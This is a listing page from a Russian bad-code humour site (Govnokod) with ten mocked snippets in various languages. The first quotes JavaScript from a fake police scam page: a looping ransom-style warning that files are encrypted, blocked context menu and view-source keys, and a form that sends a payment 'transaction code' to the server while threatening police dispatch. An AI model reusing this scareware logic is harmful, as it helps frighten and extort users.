1. JavaScript / Говнокод #16467

    +159

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    $(document).ready(function(){
      ...
      window.onbeforeunload = function(){
          if(submitclicked){
          var block = "ВАШ БРАУЗЕР ЗАБЛОКИРОВАН В ЦЕЛЯХ БЕЗОПАСНОСТИ. \n\nВСЯ ИНФОРМАЦИЯ НА ВАШЕМ КОМПЬЮТЕРЕ АРЕСТОВАНА. \n\nВСЕ ВАШИ ФАЙЛЫ ЗАШИФРОВАНЫ.";
                 block = new Array(45).join(block + "\n\n\n");
                        		return block;
          }
    };
                            
    });
    
    document.ondragstart = keyboard;
    document.onselectstart = keyboard;
    document.oncontextmenu = keyboard;
        
    function keyboard() {
            return false;
    }
    document.onkeydown = function(e) {
            e = e || window.event;
            if(e.keyCode == 85 | e.keyCode == 117) { return false; }
            return true;
    }
    
    var iii=3;
    var xmlmy;
     if (window.XMLHttpRequest)
        {// код для IE7+, Firefox, Chrome, Opera, Safari
           xmlmy=new XMLHttpRequest();
        }
        else
        {// код для IE6, IE5
           xmlmy=new ActiveXObject("Microsoft.XMLHTTP");
          }
     function Sendxxx(){
               xmlmy.open("GET","proverka.php?key="+document.all.data_1.value,true);
    	   xmlmy.send();
               if(iii>0){
                      alert('Код транзакции неверен до отправки данных в центральный отдел "К" осталось '+iii+' попытки');
                } else {
                       alert('Наряд полиции выехал по вашему адресу!!!');};
                       iii=iii-1;
    }

    http://mvd-russian.eu/reshenie/

    Rez, 04 Августа 2014

    Комментарии (13)
  2. C++ / Говнокод #16465

    +51

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    void __fastcall TForm3::Button1Click(TObject *Sender)
    {
    AnsiString a1,b1,c1,d1,a2,b2,c2,d2,a3,b3,c3,d3,a4,b4,c4,d4,r1,r2,r3,r4,r5,r6,r7,r8,r9,r10;
    a1=Edit1->Text;
    b1=Edit5->Text;
    if (a1==b1) a1>>r1;
    else "n">>r1;
    a2=Edit2->Text;
    b2=Edit6->Text;
    if (a2==b2) a2>>r2;
    else "n">>r2;
    a3=Edit3->Text;
    b3=Edit7->Text;
    if (a3==b3) a3>>r3;
    else "n">>r3;
    a4=Edit4->Text;
    b4=Edit8->Text;
    if (a4==b4) a4>>r4;
    else "n">>r4;
    c1=Edit9->Text;
    d1=Edit13->Text;
    if (c1==d1) c1>>r5;
    else "n">>r5;
    c2=Edit10->Text;
    d2=Edit14->Text;
    if (c2==d2) c2>>r6;
    else "n">>r6;
    c3=Edit11->Text;
    d3=Edit15->Text;
    if (c3==d3) c3>>r7;
    else "n">>r7;
    c4=Edit12->Text;
    d4=Edit15->Text;
    if (c4==d4) c4>>r8;
    else "n">>r8;
     }
    //---------------------------------------------------------------------------
     
    void __fastcall TForm3::Label6Click(TObject *Sender)
    {
    int r1,r2,r3,r4,r5,r6,r7,r8;
    Label6->Caption=r1;
    Label7->Caption=r2;
    Label8->Caption=r3;
    Label9->Caption=r4;
    Label10->Caption=r5;
    Label11->Caption=r6;
    Label12->Caption=r7;
    Label13->Caption=r8;
     }

    По словам "очевидца", код сравнивает посимвольно две строки и пропускает не совпавшие символы

    aNNiMON, 03 Августа 2014

    Комментарии (15)
  3. ActionScript / Говнокод #16464

    −153

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    private function getOldPreviewBySize(width: Number, height: Number): BitmapData
     			{
    -				return oldPreviewsArr[width.toString() + height.toString()];
    +				if (width && height)
    +					return oldPreviewsArr[width.toString() + height.toString()];
    +				else
    +					return null;
     			}

    хорошо исправил (размеры картинки вполне могут быть и двух и трех-значными цифрами)

    wvxvw, 03 Августа 2014

    Комментарии (106)
  4. Java / Говнокод #16463

    +71

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    public StickyRouting getStickyRouting(String groupName, String sbPin, String ccNumber) {
            StickyRouting result = null;
     
            boolean isGroupNameEmpty = StringUtils.isEmpty(groupName) ? true : false;
            boolean isCcNumberEmpty = StringUtils.isEmpty(ccNumber) ? true : false;
            boolean isSbPinEmpty = StringUtils.isEmpty(sbPin) ? true : false;
            ...
    }

    bfg1989, 03 Августа 2014

    Комментарии (4)
  5. PHP / Говнокод #16462

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    function UsersDefineParameters(&$db_parameters, &$cookie_parameters, $key = '', $is_check_db = false)
    {
    	global $CONFIG, $USER, $SCRIPT;
    	
    	if (!$key) $key = array();
    	$SCRIPT[ttt] = $is_check_db ? 1 : 0;
    	$default_val = tieArrayValue($CONFIG[defaults], $key);
    	$SCRIPT[ttt] = 0;
    	$user_val = tieArrayValue($USER[parameters], $key);
    	$db_val = tieArrayValue($db_parameters, $key);
    	$cookie_val = tieArrayValue($cookie_parameters, $key);
    	
    	if ($is_check_db)
    	{
    		if (!is_array($db_val) || (isListArray($db_val) && count($db_val) == 2 && is_int($db_val[1])))
    			{if (!isset($default_val)) tieArrayValue($USER[parameters], $key, is_array($db_val) ? $db_val[0] : $db_val);}
    		else foreach ($db_val as $k=>$v) UsersDefineParameters($db_parameters, $cookie_parameters, array_merge($key, array($k)), 1);
    	}
    	else
    		if (!is_array($default_val) || (isListArray($default_val) && count($default_val) == 2 && is_int($default_val[1])))
    		{
    			$use_cookie = !is_array($default_val) || $default_val[1];
    			$keys = array(db, cookie);
    			foreach ($keys as $k)
    				if (isset(${$k._val}))
    				{${$k._time} = is_array(${$k._val}) ? (int)${$k._val}[1] : 0; if (is_array(${$k._val})) ${$k._val} = ${$k._val}[0];}
    			
    			if (isset($db_val) && (!$use_cookie || !isset($cookie_val) || $db_time >= $cookie_time)) {$val = $db_val; $time = $db_time;}
    			elseif ($use_cookie && isset($cookie_val)) {$val = $cookie_val; $time = $cookie_time;}
    			else {$val = is_array($default_val) ? $default_val[0] : $default_val; unset($time);}
    			
    			if (isset($time))
    			{
    				if ($val != $db_val) {tieArrayValue($SCRIPT[write_db_parameters], $key, array($val,$time)); $SCRIPT[is_write_db_parameters] = true;}
    				if ($use_cookie) tieArrayValue($SCRIPT[write_cookie_parameters], $key, array($val, $time));
    			}
    			tieArrayValue($USER[parameters], $key, $val);
    		}
    		else foreach ($default_val as $k=>$v) UsersDefineParameters($db_parameters, $cookie_parameters, array_merge($key, array($k)));
    	
    	if (!$is_check_db && !$key) UsersDefineParameters($db_parameters, $cookie_parameters, '', 1);
    }
    
    function tieArrayValue(&$arr, $key, $value = '')
    {
    	if (is_string($key)) $key = explode('][',substr($key,1,-1));
    	$element = &$arr;
        $count=count($key);
    	for ($i=0;$i<$count;$i++) $element = &$element[$key[$i]];
    	if (func_num_args() == 3) {$element = $value; unset($arr);}
    	else return $element;
    }
    
    function isListArray($arr)
    {
    	if (!is_array($arr)) return false;
    	@reset($arr); $i = 0;
    	while (list($key) = @each($arr)) if ((string)$key != (string)$i++) return false;
    	return true;
    }

    Крайне "эффективное" склеивание массивов с настройками из разных источников

    proff, 03 Августа 2014

    Комментарии (2)
  6. PHP / Говнокод #16461

    +153

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    $date=date(Ymd);
    $day=substr($date,6,2);
    $month=substr($date,4,2);
    $year=substr($date,0,4);      
    list($date,$month,$year) = explode("/",date("D/M/Y"));

    Webius, 01 Августа 2014

    Комментарии (1)
  7. JavaScript / Говнокод #16460

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    var SomeObject = {
    	ToggleUploadButton: function () {
    		/// <summary>Отобразить или спрятать кнопку загрузки</summary>
    		var arr = this._ImageList.getElementsByTagName("LI");
    		if (arr.length > 0)
    			$(this._UploadPanel).removeAttr("disabled");
    		else $(this._UploadPanel).attr("disabled", "disabled");
    	},
    	OnButtonClick: function (e) {
    		/// <summary>Обаботка события нажатия на кнопку "Загрузить". Проходим по всем миниатюрам из списка, читаем у каждой свойство file (добавленное при создании) и начинаем загрузку, создавая экземпляры объекта uploaderObject. По мере загрузки, обновляем показания progress bar, через обработчик onprogress, по завершении выводим информацию.</summary>
    		if (!this.IsUploadCompatible)
    			return true;
    
    		if ($(this._UploadPanel).attr('disabled') !== undefined) return false;
    
    		//...
    	}
    }

    Вот таким красивым способом проверяем на наличие файлов в контейнере для загрузки...

    TauSigma, 01 Августа 2014

    Комментарии (41)
  8. SQL / Говнокод #16459

    −117

    1. 1
    DELETE FROM "DB_NAME"."TABLE_NAME" WHERE ROWID = 'AAAgtGAAFAAAAYDAAC' AND ORA_ROWSCN = '17177328' and ( "PKEY_COL" is null or "PKEY_COL" is not null )

    Запрос, генерируемый SQL Developer для удаления строки. Ну чё, зато работает.

    Elvenfighter, 31 Июля 2014

    Комментарии (127)
  9. JavaScript / Говнокод #16458

    +158

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    scope = new Object();
    scope = document.getElementById("scope");
    …
    var block = document.getElementById("scope");
    var els = block.getElementsByClassName("noactive");
    for(var n in els)
    {
    els[n].className = "active";
    }

    Проклятие, этот человек хоть что-нибудь думает, когда кодит? Хочется взять — и… Потому что мне с этим потом работать.

    torbasow, 31 Июля 2014

    Комментарии (48)
  10. Куча / Говнокод #16457

    +125

    1. 1
    https://users.v8.1c.ru/

    Делаем размер браузера в пол экрана, справа вверху появляется кнопочка меню.
    И правильно, нахуя править дефолтный шаблон Bootstrap.

    Cascader, 31 Июля 2014

    Комментарии (0)